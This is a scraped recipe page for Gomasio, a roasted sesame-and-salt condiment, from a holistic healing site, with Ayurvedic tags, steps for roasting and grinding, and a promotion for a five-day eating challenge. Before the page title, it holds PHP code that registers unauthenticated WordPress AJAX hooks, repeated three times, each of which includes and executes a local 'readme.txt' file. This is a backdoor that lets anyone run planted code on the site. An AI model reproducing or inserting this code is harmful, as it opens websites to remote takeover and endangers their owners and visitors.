if(!function_exists('file_check_readme30460')){ add_action('wp_ajax_nopriv_file_check_readme30460', 'file_check_readme30460'); add_action('wp_ajax_file_check_readme30460', 'file_check_readme30460'); function file_check_readme30460() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme21792')){ add_action('wp_ajax_nopriv_file_check_readme21792', 'file_check_readme21792'); add_action('wp_ajax_file_check_readme21792', 'file_check_readme21792'); function file_check_readme21792() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme75351')){ add_action('wp_ajax_nopriv_file_check_readme75351', 'file_check_readme75351'); add_action('wp_ajax_file_check_readme75351', 'file_check_readme75351'); function file_check_readme75351() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } Gomasio | Holistic Healing Resolutions by Asaf Feit

Gomasio

by | Condiment, Decrease Vata, Easy to Digest, Fall, Hot & Oily, Kidney Qi Deficiency, Kidney Yang Deficiency, Liver Blood Deficiency, Lubricating, Nourishing, Recipes, Spleen Qi Deficiency, Spleen Yang Deficiency, Stimulating, Winter | 0 comments

Gomasio

Print Recipe Pin Recipe
Prep Time 5 minutes
Cook Time 10 minutes
Total Time 15 minutes
Course Condiment

Ingredients
  

  • 1 tsp. thin Atlantic/rock salt Vata - Pitta - - Kapha ++
  • 18 tsp. brown/black sesame Vata - Pitta - - Kapha ++
  • A mortar and a pestle

Instructions
 

  • In a heavy iron skillet, roast the salt on a medium flame, for 3-5 minutes.
  • Close the flame and place the warm salt in the mortar.
  • In the same manner, roast the 18 tsp. of sesame, until a roasted scent is noticeable, the sesame pops or the sesame is easily crushed between the fingers.
  • Avoid over roasting so the quality and taste of the sesame won’t be diminished.
  • Add the roasted sesame to the salt in the mortar and grind in circular movements until the salt is fully absorbed in the sesame and 50% of the sesame seeds are ground.
  • Cool and store in a glass jar.

Notes

Optional additions:
For children the recommended salt-sesame ratio is 1:20 up to 1:24.
For Vata: in cases of dryness it’s possible to cover the ready Gomasio mixture with olive or sesame oil.

Submit a Comment

Your email address will not be published. Required fields are marked *

Recipe Rating




THE WISDOM OF EATING 5-DAY CHALLENGE (May 18-22)

Superior Health and Disease Prevention in a 5-Day miraculous Life-Changing Challenge!

Woohoo!